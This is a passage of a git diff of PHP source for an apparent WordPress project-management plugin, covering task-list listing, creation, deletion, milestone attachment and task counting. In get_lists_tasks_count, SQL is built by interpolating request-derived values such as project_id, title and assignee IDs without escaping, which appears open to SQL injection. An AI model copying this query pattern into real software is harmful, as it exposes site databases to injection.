$filter_params['users'] ) ? [] : $filter_params['users']; - $title = empty( $filter_params['title'] ) ? '' : $filter_params['title']; - - if ( $status !== false ) { - if ( gettype( $status ) == 'string' ) { - $status = $status == 'complete' ? 1 : 0; - } - - $filter .= ' AND itasks.status = ' . $status; - } - - if ( ! empty( $due_date ) ) { - if( $due_date == 'overdue' ) { - $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); - $filter .= ' AND itasks.due_date < ' . $today; - - } else if ( $due_date == 'today' ) { - $today = date('Y-m-d', strtotime( current_time('mysql') ) ); - $filter .= ' AND itasks.due_date = ' . $today; - - } else if ( $due_date == 'week' ) { - $today = date('Y-m-d', strtotime( current_time('mysql') ) ); - $last = date('Y-m-d', strtotime( current_time('mysql') . '-1 week' ) ); - - $filter .= ' AND itasks.due_date >= ' . $last; - $filter .= ' AND itasks.due_date <= ' . $today; - } - } - - if ( ! empty( $title ) ) { - $filter .= " AND itasks.title like '%$title%'"; - } - - if ( ! empty( $assignees ) ) { - $join .= " LEFT JOIN $tb_assigned as asign ON asign.task_id=itasks.id"; - - if ( is_array( $assignees ) && $assignees[0] != 0 ) { - $filter .= ' AND asign.assigned_to IN(' . implode(',', $assignees) . ')'; - - } else if ( !is_array( $assignees ) && $assignees != 0) { - $filter .= ' AND asign.assigned_to = ' . $assignees; - } - } - - $join .= apply_filters( 'pm_incomplete_task_query_join', '', $project_id ); - $filter .= apply_filters( 'pm_incomplete_task_query_where', '', $project_id ); - - $boardable = "SELECT bo.board_id, - group_concat( - DISTINCT - if(itasks.status=0, itasks.id, null) - separator '|' - ) incompleted_task_ids, - group_concat( - DISTINCT - if(itasks.status=1, itasks.id, null) - separator '|' - ) completed_task_ids - - FROM $tb_tasks as itasks - LEFT JOIN $tb_boardable as bo ON bo.boardable_id=itasks.id - $join - WHERE - bo.board_id IN ($list_ids) - AND - bo.boardable_type = 'task' - AND - itasks.project_id=$project_id - $filter - GROUP BY bo.board_id"; - - - $results = $wpdb->get_results( $boardable ); - $returns = []; - - foreach ( $results as $key => $result ) { - $result->incompleted_task_ids = empty( $result->incompleted_task_ids ) ? [] : explode( '|', $result->incompleted_task_ids ); - $result->completed_task_ids = empty( $result->completed_task_ids ) ? [] : explode( '|', $result->completed_task_ids ); - - $returns[$result->board_id] = $result; - } - - return $returns; - } - - public function get_milestone_by_list_ids( $list_ids ) { - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tb_milestone = pm_tb_prefix() . 'pm_boards'; - - $milestones = Milestone::select($tb_milestone. '.*', $tb_boardable . '.boardable_id as list_id') - - ->leftJoin($tb_boardable, function($join) use($tb_boardable, $tb_milestone) { - $join->on( $tb_milestone . '.id', $tb_boardable . '.board_id' ); - }) - ->where( $tb_boardable . '.board_type', 'milestone' ) - ->whereIn( $tb_boardable . '.boardable_id', $list_ids ) - ->where( $tb_boardable . '.boardable_type', 'task_list' ); - - $milestones = $milestones->get()->toArray(); - $milestones = empty( $milestones ) ? [] : $milestones; - $returns = []; - - foreach ( $milestones as $key => $milestone ) { - $returns[$milestone['list_id']] = $milestone; - } - - return $returns; - } - -} +prefix . 'pm_tasks'; + $list_tb = $wpdb->prefix . 'pm_boardables'; + + $project_id = $request->get_param( 'project_id' ); + $per_page = $request->get_param( 'per_page' ); + $status = $request->get_param( 'status' ); + $list_id = $request->get_param( 'list_id' ); //must be a array + $per_page_from_settings = pm_get_setting( 'list_per_page' ); + $per_page_from_settings = $per_page_from_settings ? $per_page_from_settings : 15; + $per_page = $per_page ? $per_page : $per_page_from_settings; + $with = $request->get_param( 'with' ); + $with = explode( ',', $with ); + + $page = $request->get_param( 'page' ); + $page = $page ? $page : 1; + + if ( ! is_array( $status ) ) { + if ( strpos( $status, ',' ) !== false ) { + $status = str_replace( ' ', '', $status ); + $status = explode( ',', $status ); + } + } + + if ( ! empty( $status ) ) { + $status = is_array( $status ) ? $status : [$status]; + } + + if ( !isset($status) ) { + $status = [1]; + } + + if ( isset( $status ) && $status == 0 ) { + $status = [0]; + } + + Paginator::currentPageResolver(function () use ($page) { + return $page; + }); + + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tb_lists = pm_tb_prefix() . 'pm_boards'; + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $title = $request->get_param( 'title' ); + $is_archive = $request->get_param( 'is_archive' ); + + $task_lists = Task_List::select( $tb_lists . '.*' ) + ->selectRaw( + "GROUP_CONCAT( + DISTINCT + CONCAT( + '{', + '\"', 'meta_key', '\"', ':' , '\"', IFNULL($tb_meta.meta_key, '') , '\"', ',', + '\"', 'meta_value', '\"', ':' , '\"', IFNULL($tb_meta.meta_value, '') , '\"' + ,'}' + ) SEPARATOR '|' + ) as meta" + ) + ->leftJoin( $tb_boardable, function( $join ) use($tb_boardable, $tb_lists) { + $join->on( $tb_lists . '.id', '=', $tb_boardable . '.board_id' ); + }) + ->leftJoin( $tb_meta, function( $join ) use($tb_meta, $tb_lists) { + $join->on( $tb_lists . '.id', '=', $tb_meta . '.entity_id' ) + ->where( function($q) use($tb_meta) { + $q->where($tb_meta . '.entity_type', 'task_list'); + $q->orWhereNull($tb_meta . '.entity_type'); + }); + }) + ->where( pm_tb_prefix() .'pm_boards.project_id', $project_id) + ->groupBy($tb_lists.'.id'); + + if ( ! empty( $status ) ) { + $task_lists->whereIn( pm_tb_prefix() .'pm_boards.status', $status ); + } else { + //for archive task-list + $task_lists->where( pm_tb_prefix() .'pm_boards.status', $status ); + } + + if ( ! empty( $title ) ) { + $task_lists->where( pm_tb_prefix() .'pm_boards.title', 'like', '%'.$title.'%'); + } + + $task_lists = apply_filters( "pm_task_list_check_privacy", $task_lists, $project_id, $request ); + + if ( $per_page == '-1' ) { + $per_page = $task_lists->count(); + } + + $task_lists = $task_lists->orderBy( $tb_lists. '.order', 'DESC' ) + ->paginate( $per_page ); + + $list_ids = []; + $task_list_collection = $task_lists->getCollection(); + + foreach ( $task_list_collection as $key => $collection ) { + $list_ids[] = $collection->id; + } + + $milestones = $this->get_milestone_by_list_ids( $list_ids ); + $lists_tasks_count = $this->get_lists_tasks_count( $list_ids, $project_id ); + + foreach ( $task_list_collection as $key => $collection ) { + $collection->lists_tasks_count = empty( $lists_tasks_count[$collection->id] ) ? [] : $lists_tasks_count[$collection->id]; + $milestone = empty( $milestones[$collection->id] ) ? [] : $milestones[$collection->id]; + $collection->milestone = [ + 'data' => $milestone + ]; + } + + $resource = new Collection( $task_list_collection, new New_Task_List_Transformer ); + $resource->setPaginator( new IlluminatePaginatorAdapter( $task_lists ) ); + + $lists = $this->get_response( $resource ); + + if ( in_array( 'incomplete_tasks', $with ) ) { + $incomplete_task_ids = ( new Task_Controller )->get_incomplete_task_ids( $list_ids, $project_id ); + $incomplete_tasks = ( new Task_Controller )->get_tasks( $incomplete_task_ids, ['project_id' => $project_id] ); + + $lists = $this->set_incomplete_task_in_lists( $lists, $incomplete_tasks ); + } + + if ( in_array( 'complete_tasks', $with ) ) { + $complete_task_ids = ( new Task_Controller )->get_complete_task_ids( $list_ids, $project_id ); + $complete_tasks = ( new Task_Controller )->get_tasks( $complete_task_ids, ['project_id' => $project_id] ); + + $lists = $this->set_complete_task_in_lists( $lists, $complete_tasks ); + } + + return $lists; + } + + public function set_incomplete_task_in_lists( $lists, $incomplete_tasks ) { + $filter_tasks = []; + + foreach ( $incomplete_tasks['data'] as $key => $task ) { + $filter_tasks[$task['task_list_id']][] = $task; + } + + foreach ( $lists['data'] as $key => $list ) { + // $lists['data'][$key]['incomplete_tasks']['meta'] = $incomplete_tasks['meta']; + $lists['data'][$key]['incomplete_tasks']['data'] = []; + if ( ! empty( $filter_tasks[$list['id']] ) ) { + $lists['data'][$key]['incomplete_tasks']['data'] = $filter_tasks[ $list['id'] ]; + } + } + + return $lists; + } + + public function set_complete_task_in_lists( $lists, $complete_tasks ) { + $filter_tasks = []; + + foreach ( $complete_tasks['data'] as $key => $task ) { + $filter_tasks[$task['task_list_id']][] = $task; + } + + foreach ( $lists['data'] as $key => $list ) { + //$lists['data'][$key]['complete_tasks']['meta'] = $complete_tasks['meta']; + $lists['data'][$key]['complete_tasks']['data'] = []; + if ( ! empty( $filter_tasks[$list['id']] ) ) { + $lists['data'][$key]['complete_tasks']['data'] = $filter_tasks[$list['id']]; + } + } + + return $lists; + } + + public function listInbox ( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $tasks = Task::parent()->doesnthave('boardables')->where('project_id', $project_id)->get(); + + $resource = new Collection ( $tasks, new Task_Transformer ); + + return $this->get_response( $resource ); + + } + + public function show( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $task_list_id = $request->get_param( 'task_list_id' ); + $with = $request->get_param( 'with' ); + + return $this->get_list( [ + 'project_id' => $request->get_param( 'project_id' ), + 'task_list_id' => $request->get_param( 'task_list_id' ), + 'with' => $request->get_param( 'with' ) + ] ); + } + + public function get_list( $params ) { + $project_id = $params['project_id']; + $task_list_id = $params['task_list_id']; + $with = empty( $params['with'] ) ? [] : $params['with']; + $with = pm_get_prepare_data( $with ); + + $task_list = Task_List::select(pm_tb_prefix().'pm_boards.*') + //->with( 'tasks' ) + ->where( pm_tb_prefix().'pm_boards.id', $task_list_id ) + ->where( pm_tb_prefix().'pm_boards.project_id', $project_id ); + + $task_list = apply_filters("pm_task_list_show_query", $task_list, $project_id, $params ); + + $task_list = $task_list->first(); + + if ( $task_list == NULL ) { + return $this->get_response( null, [ + 'message' => pm_get_text('success_messages.no_element') + ] ); + } + + $resource = new Item( $task_list, new Task_List_Transformer ); + + $list = $this->get_response( $resource ); + $list_id = [$task_list_id]; + + if ( in_array( 'incomplete_tasks', $with ) ) { + $incomplete_task_ids = ( new Task_Controller )->get_incomplete_task_ids( $list_id, $project_id ); + $incomplete_tasks = ( new Task_Controller )->get_tasks( $incomplete_task_ids ); + + $list['data']['incomplete_tasks']['data'] = $incomplete_tasks['data']; + } + + if ( in_array( 'complete_tasks', $with ) ) { + $complete_task_ids = ( new Task_Controller )->get_complete_task_ids( $list_id, $project_id ); + $complete_tasks = ( new Task_Controller )->get_tasks( $complete_task_ids ); + + $list['data']['complete_tasks']['data'] = $complete_tasks['data']; + } + + return $list; + } + + //updated query but not filter updated + // public function get_list( $params ) { + + // $project_id = $params['project_id']; + // $task_list_id = $params['task_list_id']; + // $with = empty( $params['with'] ) ? [] : $params['with']; + // $with = pm_get_prepare_data( $with ); + + // $list = pm_get_task_lists([ + // 'id' => $task_list_id, + // 'project_id' => $project_id, + // 'with' => $with + // ]); + + // $list_id = [$task_list_id]; + + // if ( in_array( 'incomplete_tasks', $with ) ) { + // $incomplete_task_ids = ( new Task_Controller )->get_incomplete_task_ids( $list_id, $project_id ); + // $incomplete_tasks = pm_get_tasks( [ 'id' => $incomplete_task_ids ] ); + + // $list['data']['incomplete_tasks']['data'] = $incomplete_tasks['data']; + // $list['data']['incomplete_tasks']['meta'] = $incomplete_tasks['meta']; + // } + + // if ( in_array( 'complete_tasks', $with ) ) { + // $complete_task_ids = ( new Task_Controller )->get_complete_task_ids( $list_id, $project_id ); + // $complete_tasks = pm_get_tasks( [ 'id' => $complete_task_ids ] ); + + // $list['data']['complete_tasks']['data'] = $complete_tasks['data']; + // $list['data']['complete_tasks']['meta'] = $complete_tasks['meta']; + // } + + // return $list; + // } + + public static function create_tasklist( $data ) { + $self = self::getInstance(); + $milestone_id = $data[ 'milestone' ]; + $project_id = $data[ 'project_id' ]; + $is_private = $data[ 'privacy' ]; + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + $milestone = Milestone::find( $milestone_id ); + $latest_order = Task_List::latest_order( $project_id ); + $data['order'] = $latest_order + 1; + $task_list = Task_List::create( $data ); + + if ( $milestone ) { + $self->attach_milestone( $task_list, $milestone ); + } + + do_action( 'pm_new_task_list_before_response', $task_list, $data ); + $resource = new Item( $task_list, new Task_List_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.task_list_created') + ]; + $response = $self->get_response( $resource, $message ); + do_action( 'cpm_tasklist_new', $task_list->id, $project_id, $data ); + do_action( 'pm_after_new_task_list', $response, $data ); + return $response; + } + + public function store( WP_REST_Request $request ) { + $data = $this->extract_non_empty_values( $request ); + $milestone_id = $request->get_param( 'milestone' ); + $project_id = $request->get_param( 'project_id' ); + $is_private = $request->get_param( 'privacy' ); + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + $milestone = Milestone::find( $milestone_id ); + $latest_order = Task_List::latest_order($project_id); + $data['order'] = $latest_order + 1; + $task_list = Task_List::create( $data ); + + if ( $milestone ) { + $this->attach_milestone( $task_list, $milestone ); + } + + do_action( 'pm_new_task_list_before_response', $task_list, $request->get_params() ); + $resource = new Item( $task_list, new Task_List_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.task_list_created') + ]; + $response = $this->get_response( $resource, $message ); + do_action( 'cpm_tasklist_new', $task_list->id, $project_id, $request->get_params() ); + do_action( 'pm_after_new_task_list', $response, $request->get_params() ); + return $response; + } + + public function update( WP_REST_Request $request ) { + $data = $this->extract_non_empty_values( $request ); + + $project_id = $request->get_param( 'project_id' ); + $task_list_id = $request->get_param( 'task_list_id' ); + $milestone_id = $request->get_param( 'milestone' ); + $data['description'] = $request->get_param('description'); + $is_private = $request->get_param( 'privacy' ); + $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; + + $milestone = Milestone::find( $milestone_id ); + $task_list = Task_List::where( 'id', $task_list_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $task_list->update_model( $data ); + + if ( $milestone ) { + $this->attach_milestone( $task_list, $milestone ); + } else { + $task_list->milestones()->detach(); + } + + do_action( 'pm_update_task_list_before_response', $task_list, $request->get_params() ); + $resource = new Item( $task_list, new Task_List_Transformer ); + + $message = [ + 'message' => pm_get_text('success_messages.task_list_updated') + ]; + + $response = $this->get_response( $resource, $message ); + do_action( 'cpm_tasklist_update', $task_list_id, $project_id, $request->get_params() ); + do_action( 'pm_after_update_task_list', $response, $request->get_params() ); + return $response; + } + + public static function delete_tasklist( $data ) { + $self = self::getInstance(); + $project_id = $data[ 'project_id' ]; + $task_list_id = $data[ 'task_list_id' ]; + $task_list = Task_List::where( 'id', $task_list_id ) + ->where( 'project_id', $project_id ) + ->first(); + + do_action( 'pm_before_delete_task_list', $task_list_id, $project_id ); + do_action( 'cpm_delete_tasklist_prev', $task_list_id ); + // Delete relations + $self->detach_all_relations( $task_list ); + + // Delete the task list + $task_list->delete(); + + do_action( 'cpm_delete_tasklist_after', $task_list_id ); + do_action( 'pm_after_delete_task_list', $task_list ); + + $message = [ + 'message' => pm_get_text('success_messages.task_list_deleted') + ]; + + return $message; + } + + public function destroy( WP_REST_Request $request ) { + // Grab user inputs + $project_id = $request->get_param( 'project_id' ); + $task_list_id = $request->get_param( 'task_list_id' ); + + // Select the task list to be deleted + $task_list = Task_List::where( 'id', $task_list_id ) + ->where( 'project_id', $project_id ) + ->first(); + + do_action( 'pm_before_delete_task_list', $task_list_id, $project_id ); + do_action( 'cpm_delete_tasklist_prev', $task_list_id ); + // Delete relations + $this->detach_all_relations( $task_list ); + + // Delete the task list + $task_list->delete(); + + do_action( 'cpm_delete_tasklist_after', $task_list_id ); + do_action( 'pm_after_delete_task_list', $task_list ); + + $message = [ + 'message' => pm_get_text('success_messages.task_list_deleted') + ]; + + return $this->get_response(false, $message); + } + + private function attach_milestone( Task_List $task_list, Milestone $milestone ) { + $boardable = Boardable::where( 'boardable_id', $task_list->id ) + ->where( 'boardable_type', 'task_list' ) + ->where( 'board_type', 'milestone' ) + ->first(); + + if ( !$boardable ) { + $boardable = Boardable::firstOrCreate([ + 'boardable_id' => $task_list->id, + 'boardable_type' => 'task_list', + 'board_id' => $milestone->id, + 'board_type' => 'milestone' + ]); + } else { + $boardable->update([ + 'board_id' => $milestone->id + ]); + } + } + + private function detach_all_relations( Task_List $task_list ) { + $comments = $task_list->comments; + foreach ( $comments as $comment ) { + $comment->replies()->delete(); + $comment->files()->delete(); + } + $task_list->comments()->delete(); + + $tasks = $task_list->tasks; + foreach ( $tasks as $task ) { + $task->files()->delete(); + $task->comments()->delete(); + $task->assignees()->delete(); + $task->metas()->delete(); + Task::where('parent_id', $task->id)->delete(); + $task->delete(); + } + $task_list->metas()->delete(); + $task_list->files()->delete(); + $task_list->milestones()->detach(); + } + + public function attach_users( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $task_list_id = $request->get_param( 'task_list_id' ); + + $task_list = Task_List::where( 'id', $task_list_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $user_ids = explode( ',', $request->get_param( 'users' ) ); + + if ( !empty( $user_ids ) ) { + foreach ( $user_ids as $user_id ) { + $data = [ + 'board_id' => $task_list->id, + 'board_type' => 'task_list', + 'boardable_id' => $user_id, + 'boardable_type' => 'user' + ]; + Boardable::firstOrCreate( $data ); + } + } + + $resource = new Item( $task_list, new Task_List_Transformer ); + + return $this->get_response( $resource ); + } + + public function detach_users( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $task_list_id = $request->get_param( 'task_list_id' ); + + $task_list = Task_List::where( 'id', $task_list_id ) + ->where( 'project_id', $project_id ) + ->first(); + + $user_ids = explode( ',', $request->get_param( 'users' ) ); + + $task_list->users()->whereIn( 'boardable_id', $user_ids )->delete(); + + $resource = new Item( $task_list, new Task_List_Transformer ); + + return $this->get_response( $resource ); + } + + public function privacy( WP_REST_Request $request ) { + $project_id = $request->get_param( 'project_id' ); + $task_list_id = $request->get_param( 'task_list_id' ); + $privacy = $request->get_param( 'is_private' ); + pm_update_meta( $task_list_id, $project_id, 'task_list', 'privacy', $privacy ); + return $this->get_response( NULL); + } + + public function list_sorting( WP_REST_Request $request ) { + + $orders = $request->get_param( 'orders' ); + $orders = array_reverse( $orders ); + + foreach ( $orders as $index => $order ) { + //$index = empty( $order['index'] ) ? 0 : intval( $order['index'] ); + $list_id = empty( $order['id'] ) ? '' : intval( $order['id'] ); + + $board = Board::where( 'id', $list_id ) + ->where( 'type', 'task_list' ) + ->first(); + + if ( $board ) { + $board->order = $index; + $board->save(); + } + } + + wp_send_json_success(); + } + + public function list_search( WP_REST_Request $request ) { + + $project_id = $request->get_param( 'project_id' ); + $title = $request->get_param( 'title' ); + $is_archive = $request->get_param( 'is_archive' ); + + $task_lists = Task_List::where( function($q) use( $title, $project_id, $is_archive ) { + if ( !empty( $title ) ) { + $q->where('title', 'like', '%'.$title.'%') + ->where( 'project_id', $project_id ); + + if ( ! empty( $is_archive ) ) { + $status = $is_archive == 'yes' ? 0 : 1; + $q->where( 'status', $status ); + } + } + }) + ->get(); + + $resource = new Collection( $task_lists, new Task_List_Transformer ); + + return $this->get_response( $resource ); + } + + public function get_lists_tasks_count( $list_ids, $project_id, $filter_params = [] ) { + global $wpdb; + + if ( empty( $list_ids ) ) { + $list_ids[] = 0; + } + + if ( ! is_array( $list_ids ) ) { + $list_ids = []; + } + + $tb_tasks = pm_tb_prefix() . 'pm_tasks'; + $tb_lists = pm_tb_prefix() . 'pm_boards'; + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tb_meta = pm_tb_prefix() . 'pm_meta'; + $tb_assigned = pm_tb_prefix() . 'pm_assignees'; + + $list_ids = implode( ',', $list_ids ); + $filter = ''; + $join = ''; + + $status = isset( $filter_params['status'] ) ? intval( $filter_params['status'] ) : false; + $due_date = empty( $filter_params['due_date'] ) ? false : date( 'Y-m-d', strtotime( $filter_params['due_date'] ) ); + $assignees = empty( $filter_params['users'] ) ? [] : $filter_params['users']; + $title = empty( $filter_params['title'] ) ? '' : $filter_params['title']; + + if ( $status !== false ) { + if ( gettype( $status ) == 'string' ) { + $status = $status == 'complete' ? 1 : 0; + } + + $filter .= ' AND itasks.status = ' . $status; + } + + if ( ! empty( $due_date ) ) { + if( $due_date == 'overdue' ) { + $today = date( 'Y-m-d', strtotime( current_time('mysql') ) ); + $filter .= ' AND itasks.due_date < ' . $today; + + } else if ( $due_date == 'today' ) { + $today = date('Y-m-d', strtotime( current_time('mysql') ) ); + $filter .= ' AND itasks.due_date = ' . $today; + + } else if ( $due_date == 'week' ) { + $today = date('Y-m-d', strtotime( current_time('mysql') ) ); + $last = date('Y-m-d', strtotime( current_time('mysql') . '-1 week' ) ); + + $filter .= ' AND itasks.due_date >= ' . $last; + $filter .= ' AND itasks.due_date <= ' . $today; + } + } + + if ( ! empty( $title ) ) { + $filter .= " AND itasks.title like '%$title%'"; + } + + if ( ! empty( $assignees ) ) { + $join .= " LEFT JOIN $tb_assigned as asign ON asign.task_id=itasks.id"; + + if ( is_array( $assignees ) && $assignees[0] != 0 ) { + $filter .= ' AND asign.assigned_to IN(' . implode(',', $assignees) . ')'; + + } else if ( !is_array( $assignees ) && $assignees != 0) { + $filter .= ' AND asign.assigned_to = ' . $assignees; + } + } + + $join .= apply_filters( 'pm_incomplete_task_query_join', '', $project_id ); + $filter .= apply_filters( 'pm_incomplete_task_query_where', '', $project_id ); + + $boardable = "SELECT bo.board_id, + group_concat( + DISTINCT + if(itasks.status=0, itasks.id, null) + separator '|' + ) incompleted_task_ids, + group_concat( + DISTINCT + if(itasks.status=1, itasks.id, null) + separator '|' + ) completed_task_ids + + FROM $tb_tasks as itasks + LEFT JOIN $tb_boardable as bo ON bo.boardable_id=itasks.id + $join + WHERE + bo.board_id IN ($list_ids) + AND + bo.boardable_type = 'task' + AND + itasks.project_id=$project_id + $filter + GROUP BY bo.board_id"; + + + $results = $wpdb->get_results( $boardable ); + $returns = []; + + foreach ( $results as $key => $result ) { + $result->incompleted_task_ids = empty( $result->incompleted_task_ids ) ? [] : explode( '|', $result->incompleted_task_ids ); + $result->completed_task_ids = empty( $result->completed_task_ids ) ? [] : explode( '|', $result->completed_task_ids ); + + $returns[$result->board_id] = $result; + } + + return $returns; + } + + public function get_milestone_by_list_ids( $list_ids ) { + $tb_boardable = pm_tb_prefix() . 'pm_boardables'; + $tb_milestone = pm_tb_prefix() . 'pm_boards'; + + $milestones = Milestone::select($tb_milestone. '.*', $tb_boardable . '.boardable_id as list_id') + + ->leftJoin($tb_boardable, function($join) use($tb_boardable, $tb_milestone) { + $join->on( $tb_milestone . '.id', $tb_boardable . '.board_id' ); + }) + ->where( $tb_boardable . '.board_type', 'milestone' ) + ->whereIn( $tb_boardable . '.boardable_id', $list_ids ) + ->where( $tb_boardable . '.boardable_type', 'task_list' ); + + $milestones = $milestones->get()->toArray(); + $milestones = empty( $milestones ) ? [] : $milestones; + $returns = []; + + foreach ( $milestones as $key => $milestone ) { + $returns[$milestone['list_id']] = $milestone; + } + + return $returns; + } + +} diff --git a/src/Task_List/Helper/Task_List.php b/src/Task_List/Helper/Task_List.php index 54539bbc4..d7518493f 100644 --- a/src/Task_List/Helper/Task_List.php +++ b/src/Task_List/Helper/Task_List.php @@ -1,1013 +1,1013 @@ -'asc', 'id'=>desc] -// list_meta: 'total_task_lists,total_tasks,total_complete_tasks,total_incomplete_tasks,total_$this->list_ids,total_milestones,total_comments,total_files,total_activities' -// }, - -class Task_List { - private static $_instance; - private $query_params; - private $select; - private $join; - private $where; - private $limit; - private $orderby; - private $with = ['creator', 'updater', 'milestone']; - private $lists; - private $list_ids; - private $is_single_query = false; - - public static function getInstance() { - return new self(); - } - - function __construct() { - $this->set_table_name(); - } - - public static function get_task_lists( WP_REST_Request $request ) { - $lists = self::get_results( $request->get_params() ); - - wp_send_json( $lists ); - } - - public static function get_results( $params ) { - $self = self::getInstance(); - $self->query_params = $params; - - $self->join() - ->where() - ->limit() - ->orderby() - ->get() - ->with() - ->meta(); - - $response = $self->format_tasklists( $self->lists ); - - if ( pm_is_single_query( $params ) ) { - return ['data' => $response['data'][0]] ; - } - - return $response; - } - - /** - * Format TaskList data - * - * @param array $tasklists - * - * @return array - */ - public function format_tasklists( $tasklists ) { - $response = [ - 'data' => [], - 'meta' => [] - ]; - - foreach ( $tasklists as $key => $tasklist ) { - $tasklists[$key] = $this->fromat_tasklist( $tasklist ); - } - - $response['data'] = $tasklists; - $response ['meta'] = $this->set_tasklist_meta(); - - return $response; - } - - /** - * Set meta data - */ - private function set_tasklist_meta() { - return [ - 'pagination' => [ - 'total' => $this->found_rows, - 'per_page' => ceil( $this->found_rows/$this->get_per_page() ) - ] - ]; - } - - public function fromat_tasklist( $tasklist ) { - $items = [ - 'id' => (int) $tasklist->id, - 'title' => isset( $tasklist->title ) ? (string) $tasklist->title : null, - 'description' => isset( $tasklist->description ) ? pm_filter_content_url( $tasklist->description ) : null, - 'order' => isset( $tasklist->order ) ? (int) $tasklist->order : null, - 'status' => isset( $tasklist->status ) ? $tasklist->status : null, - 'created_at' => isset( $tasklist->status ) ? format_date( $tasklist->created_at ) : null, - 'extra' => true, - 'project_id' => isset( $tasklist->project_id ) ? $tasklist->project_id : null, - 'meta' => $tasklist->meta - ]; - - $items = $this->item_with( $items, $tasklist ); - - return $items; - } - - private function item_with( $items, $tasklist ) { - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', $with ); - } - - $with = array_merge( $this->with, $with ); - - $tasklist_with_items = array_intersect_key( (array) $tasklist, array_flip( $with ) ); - - $items = array_merge($items,$tasklist_with_items); - - return $items; - } - - private function with() { - $this->milestone() - ->complete_tasks() - ->incomplete_tasks() - ->creator() - ->updater() - ->comments() - ->files(); - - $this->lists = apply_filters( 'pm_tasklist_with',$this->lists, $this->list_ids, $this->query_params ); - - return $this; - } - - private function comments() { - global $wpdb; - - if ( empty( $this->list_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'comments', $with ) || empty( $this->list_ids ) ) { - return $this; - } - - $tb_comments = pm_tb_prefix() . 'pm_comments'; - $list_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query ="SELECT DISTINCT com.id as comment_id, com.commentable_id as list_id - FROM $tb_comments as com - WHERE com.commentable_id IN ($list_format) - AND com.commentable_type = %s - "; - - array_push( $query_data, 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $comment_ids = wp_list_pluck( $results, 'comment_id' ); - - $comments = Comment::get_results([ - 'id' => array_unique( $comment_ids ) - ]); - - $comments = empty( $comments['data']['id'] ) ? $comments['data'] : [$comments['data']]; - $key_comments = []; - $items = []; - - foreach ( $comments as $key => $comment ) { - if ( empty( $comment['id'] ) ) { - continue; - } - - $key_comments[$comment['id']] = $comment; - } - - foreach ( $results as $key => $result ) { - $items[$result->list_id][] = $key_comments[$result->comment_id]; - } - - foreach ( $this->lists as $key => $list ) { - $list->comments['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; - } - - return $this; - } - - private function files() { - global $wpdb; - - if ( empty( $this->list_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'files', $with ) || empty( $this->list_ids ) ) { - return $this; - } - - $tb_files = pm_tb_prefix() . 'pm_files'; - $list_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query = "SELECT DISTINCT fil.id as file_id, - fil.fileable_id as list_id - FROM $tb_files as fil - where fil.fileable_id IN ($list_format) - AND fil.fileable_type=%s"; - - array_push( $query_data, 'task_list' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $file_ids = wp_list_pluck( $results, 'file_id' ); - - $files = File::get_results([ - 'id' => array_unique( $file_ids ) - ]); - - $files = empty( $files['data']['id'] ) ? $files['data'] : [$files['data']]; - $key_files = []; - $items = []; - - foreach ( $files as $key => $file ) { - if ( empty( $file['id'] ) ) { - continue; - } - - $key_files[$file['id']] = $file; - } - - foreach ( $results as $key => $result ) { - $items[$result->list_id][] = $key_files[$result->file_id]; - } - - foreach ( $this->lists as $key => $list ) { - $list->files['data'] = empty( $items[$list->id] ) ? [] : $items[$list->id]; - } - - return $this; - } - - private function complete_tasks() { - global $wpdb; - - if ( empty( $this->list_ids ) ) { - return $this; - } - - $with = empty( $this->query_params['with'] ) ? [] : $this->query_params['with']; - - if ( ! is_array( $with ) ) { - $with = explode( ',', str_replace(' ', '', $with ) ); - } - - if ( ! in_array( 'complete_tasks', $with ) || empty( $this->list_ids ) ) { - return $this; - } - - $tb_boardable = pm_tb_prefix() . 'pm_boardables'; - $tb_tasks = pm_tb_prefix() . 'pm_tasks'; - $list_format = pm_get_prepare_format( $this->list_ids ); - $query_data = $this->list_ids; - - $query = "SELECT DISTINCT bor.board_id as list_id, - bor.boardable_id as task_id - FROM $tb_boardable as bor - LEFT JOIN $tb_tasks as tk ON tk.id=bor.boardable_id - where 1=1 - AND bor.board_id IN ($list_format) - AND bor.board_type=%s - AND bor.boardable_type=%s - AND tk.status=%s"; - - array_push( $query_data, 'task_list', 'task', '1' ); - - $results = $wpdb->get_results( $wpdb->prepare( $query, $query_data ) ); - $task_ids = wp_list_pluck( $results, 'task_id' ); - - $tasks = Task::get_results([ - 'id' => array_unique( $task_ids ) - ]); - - $tasks = empty( $tasks['data']['id'] ) ? $tasks['data'] : [$tasks['data']]; - $key_tasks = []; - $items = []; - - foreach ( $tasks as $key => $task ) { - if ( empty( $task['id'] ) ) { - continue; - } - - $key_tasks[$task['id']] = $task; - } - - foreach ( $results as $key => $result ) { - $items[$result->list_id][] = $key_tasks[$result->task_id]; - } - - foreach ( $this->lists as $key => $list ) { - 